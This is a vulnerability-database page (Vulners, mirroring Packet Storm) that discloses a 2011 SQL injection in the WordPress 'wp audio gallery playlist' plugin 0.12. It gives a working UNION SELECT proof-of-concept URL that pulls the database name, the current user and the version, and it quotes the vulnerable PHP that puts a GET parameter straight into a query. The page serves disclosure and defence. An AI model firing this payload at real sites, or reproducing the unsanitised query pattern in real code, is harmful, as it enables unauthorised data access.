Lucene search
K

WordPress WP Audio Gallery Playlist 0.12 SQL Injection

🗓️ 31 Aug 2011 00:00:00Reported by Miroslav StamparType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 23 Views

WordPress wp audio gallery plugin 0.12 SQL Injectio

Code
`# Exploit Title: WordPress wp audio gallery playlist plugin <= 0.12 SQL Injection Vulnerability  
# Date: 2011-08-30  
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)  
# Software Link: http://downloads.wordpress.org/plugin/wp-audio-gallery-playlist.0.12.zip  
# Version: 0.12 (tested)  
# Note: magic_quotes has to be turned off  
  
---  
PoC  
---  
http://www.site.com/wp-content/plugins/wp-audio-gallery-playlist/playlist.php?post_gallery=-1' UNION ALL SELECT 1,2,3,4,5,database(),current_user(),8,9,10,11,12,13,14,15,16,17,18,version(),20,21,22,23--%20  
  
---------------  
Vulnerable code  
---------------  
$table_name = $wpdb->prefix . "posts";  
...  
if (isset($_GET['post_gallery']))  
$query = 'SELECT * FROM `'.$table_name.'` WHERE `post_parent` = \''.$_GET['post_gallery'].'\' AND `post_mime_type` = \'audio/mpeg\' ORDER BY `menu_order` ASC';  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Aug 2011 00:00Current
0.4Low risk
Vulners AI Score0.4
23